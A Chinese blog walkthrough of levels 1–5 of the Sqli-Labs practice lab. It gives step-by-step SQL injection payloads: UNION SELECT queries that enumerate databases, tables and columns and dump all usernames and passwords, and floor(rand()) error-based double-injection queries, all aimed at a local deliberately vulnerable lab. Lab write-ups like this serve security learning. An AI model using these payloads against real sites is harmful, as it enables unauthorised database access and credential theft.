Sqli-Labs靶场(1--5)题详解

目录

一.Less-1:GET - Error based - Single quotes -String(GET - 基于错误 - 单引号 - 字符串)

一、判断注入点

二、确认列数

三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名,密码

二.Less-2:GET - Error based - Intiger based(GET - 基于错误 - 整型)

一、判断注入点

二、确认列数

 三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名,密码

 

三.Less-3:GET - Error based - Single quotes with twist - string(GET - 基于错误 - 扭曲的单引号 - 字符串)

一、判断注入点

二、确认列数

三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名,密码

四.Less-4:GET - Error based - Single Double Quotes  - string(GET - 基于错误 - 单双引号 - 字符串)

一、判断注入点

二、确认列数

三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名,密码

五.Less-5:GET - Double Injection - Single Quotes  - string(GET - 双重注射 - 单引号 - 字符串)

一、判断注入点

二、使用group by 重复报错

三、爆破security数据库内表名

四、爆破users表内列名

五、查询所有的用户名,密码


一.Less-1:GET - Error based - Single quotes -String(GET - 基于错误 - 单引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显正常

得出结论->注入点类型不是数值型

输入:?id=1',页面回显不正常

输入:?id=1' and '1'='1,页面回显正常

输入:?id=1' and '1'='2,页面回显不正常

得出结论->存在单引号字符串类型注入漏洞

二、确认列数

输入:?id=1' order by 3 #,我们发现后面的 ' 并没有被#注释掉

继续输入:?id=1' order by 3 --+,后面的 ' 任然没有被#注释掉

直到输入:?id=1' order by 3 -- +,页面回显正常

再输入:?id=1' order by 4 -- +,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1' union select 1,2,3 -- +

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),database() -- +

得出结论->当前数据库名为:security

五、爆破security数据库内的所有表名

输入:?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() -- +

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users') -- +

 得出结论->username列以及password列

七、查询所有的用户名,密码

输入:?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

二.Less-2:GET - Error based - Intiger based(GET - 基于错误 - 整型)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显b不正常

得出结论->存在整值型注入漏洞

二、确认列数

输入:?id=1 order by 3 ,页面回显正常

再输入:?id=1 order by 4 ,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1 union select 1,2,3

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database()

得出结论->当前数据库名为:security

 五、爆破security数据库内的所有表名

输入:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database()

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users')

 得出结论->username列以及password列

七、查询所有的用户名,密码

输入:?id=-1 union select 1,group_concat(username),group_concat(password) from users

三.Less-3:GET - Error based - Single quotes with twist - string(GET - 基于错误 - 扭曲的单引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显正常

得出结论->注入点类型不是数值型

 输入:?id=1',页面回显不正常

输入:?id=1' and 1=1,页面返回不正常

根据提示输入?id=1') and 1=1 -- +,页面回显正常-------补齐提示中的第一个( 并注释掉后面的')

得出结论->存在单引号字符串类型注入漏洞

二、确认列数

输入:?id=1') order by 3-- +,页面回显正常

再输入:?id=1') order by 4-- +,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1') union select 1,2,3-- +

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),database()-- +

得出结论->当前数据库名为:security

五、爆破security数据库内的所有表名

输入:?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database()-- +

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users')-- +

 得出结论->username列以及password列

七、查询所有的用户名,密码

输入:?id=-1') union select 1,group_concat(username),group_concat(password) from users-- +

四.Less-4:GET - Error based - Single Double Quotes  - string(GET - 基于错误 - 单双引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显正常

得出结论->注入点类型不是数值型

输入:?id=1',页面回显正常

输入:?id=1' and '1'='1,页面回显正常

输入:?id=1' and '1'='2,页面回显正常

得出结论->注入点类型不是单引号字符型

根据提示,输入:?id=1" )and 1=1-- +,回显正常

 输入:?id=1" )and 1=2-- +,无回显

得出结论->存在双引号字符串类型注入漏洞

二、确认列数

输入:?id=1" ) order by 3-- +,页面回显正常

再输入:?id=1" ) order by 4-- +,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1" ) union select 1,2,3-- +

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),database()-- +

得出结论->当前数据库名为:security

五、爆破security数据库内的所有表名

输入:?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database()-- +

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users')-- +

 得出结论->username列以及password列

七、查询所有的用户名,密码

输入:?id=-1") union select 1,group_concat(username),group_concat(password) from users-- +

五.Less-5:GET - Double Injection - Single Quotes  - string(GET - 双重注射 - 单引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常,但是并未返回数据库当中的信息,所以此题不能使用联合查询

输入:?id=1',页面回显不正常

输入:?id=1' -- +,页面回显正常

得出结论->存在单引号字符串类型注入漏洞

二、使用group by 重复报错

输入?id=1' and(select 1 from(select count(*),concat((select concat(schema_name,'~') from information_schema.schemata limit 0,1),floor(rand()*2)) x from information_schema.tables group by x) a)-- +

得出结论->其中有一个叫information_schema的数据库

继续爆破其他数据库

得出其他数据库->challenges,mysql,performance_schema,security,sys

 

 

 

 

 直到limit 6,1,回显页面

得出结论->一共有6个数据库

三、爆破security数据库内表名

输入:?id=1' and(select 1 from(select count(*),concat((select concat(table_name,'~') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) x from information_schema.tables group by x) a)-- +

再通过修改limit 0,1的第一个值,依次爆破得表名->emails,uagents,referers,users

四、爆破users表内列名

输入:?id=1' and(select 1 from(select count(*),concat((select concat(column_name,'~') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) x from information_schema.columns group by x) a)
-- +

再通过修改limit 0,1的第一个值,爆破得表名username,password

五、依次爆破用户名,密码

输入:http://localhost/sqli-labs-master/Less-5/?id=1' and(select 1 from(select count(*),concat((select concat(username,'~',password) from security.users limit 0,1),floor(rand()*2)) x from security.users group by x) a)-- +

  • 6
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值